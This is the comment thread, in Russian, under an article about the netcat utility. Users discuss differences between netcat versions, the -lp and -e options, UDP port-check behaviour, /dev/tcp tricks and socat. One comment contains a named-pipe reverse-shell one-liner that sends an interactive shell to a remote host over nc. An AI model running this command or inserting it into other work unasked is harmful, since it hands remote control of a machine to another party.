Как стать автором
Обновить

Комментарии 12

Большинство этих или аналогичных примеров есть в man nc(1). Кроме того, вы описываете «старую» (ну или «классическую», если угодно) версию нетката (синтаксис -lp, небезопасная опция -e), которая отличается от современных реализаций (например, OpenBSD'шной); та же убунта, кстати, об этом сразу предупреждает:
This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package.
Многие ваши примеры просто не заработают с дефолтной версией большинства актуальных дистрибутивов *nix.

Ну я бы не был так категоричен, у меня не запустился только пример с -e
остальные работают

Решил еще раз проверить: те примеры, где используется -lp, не заработают на FreeBSD (любых последних версий) и Ubuntu 10.04.4 LTS, однако на новой убунте и минте работают (и там из мануала исчезла приписка, что it is an error to use this option [-p] in conjunction with the -l option).

В любом случае, автору имхо стоило уделить немного внимания отличиям реализаций нетката в разных операционных системах (в т.ч. разных версий), или хотя бы указать конкретную систему, под которую писались примеры.
И без флага -e работает :)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Большинство работает на debian/ubuntu последних веток.
Да, видимо, -lp там решили восстановить в правах, чтобы не анноить finger memory пользователей, привыкших к старому синтаксису, но 1) одними новыми линуксами мир *nix не ограничивается (пусть даже *BSD суммарно менее популярны, но вы же сами пишете, что netcat это утилита Unix), а значит 2) было бы не лишним рассказать об этих различиях.

Ну и повторюсь: приведенные примеры в том или ином виде уже и так есть на странице руководства.
А как происходит проверка UDP «соединения»? Не понятно.
Просто у меня можно подставлять любые хосты, любые порты и всегда будет типа
Connection to 192.168.20.44 1 port [udp/*] succeeded!
Можно посылать пустые UDP-пакеты и ожидать в ответ ICMP-сообщения «port unreachable». Если не получено никаких сообщений в ответ, порт считается открытым. Если возвращаемые ICMP-сообщения блокируются брандмауэром, это может означать, что все UDP-порты хоста открыты. Также, если UDP-трафик непосредственно блокируется брандмауэром, это по-прежнему означает, что все UDP-порты открыты. Поскольку UDP-протокол работает без установления соединения и не ограничен необходимостью подтверждения получения входящих пакетов, нет полного решения этой проблемы.
Спасибо. Возможно, этот тонкий момент стоило затронуть в статье.

Кстати, в linux есть простой способ отправить данные по TCP/UDP, тоже без рута:
echo «hello» > /dev/udp/127.0.0.1/53
echo «hello» > /dev/tcp/127.0.0.1/80

Android(Termux) всё работает, официально подтверждаю.

NetCat не очень интересен, гораздо интереснее трюки с socat (SOcket CAT), у него больше возможностей, у него не простая документация, в общем "вкусная" утилита.

Прием данных на UDP-порту и вывод принятых данных
$ nc -u localhost 7777

нехватает: -l Bind and listen for incoming connections
nc -lu localhost 7777

Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Изменить настройки темы

Истории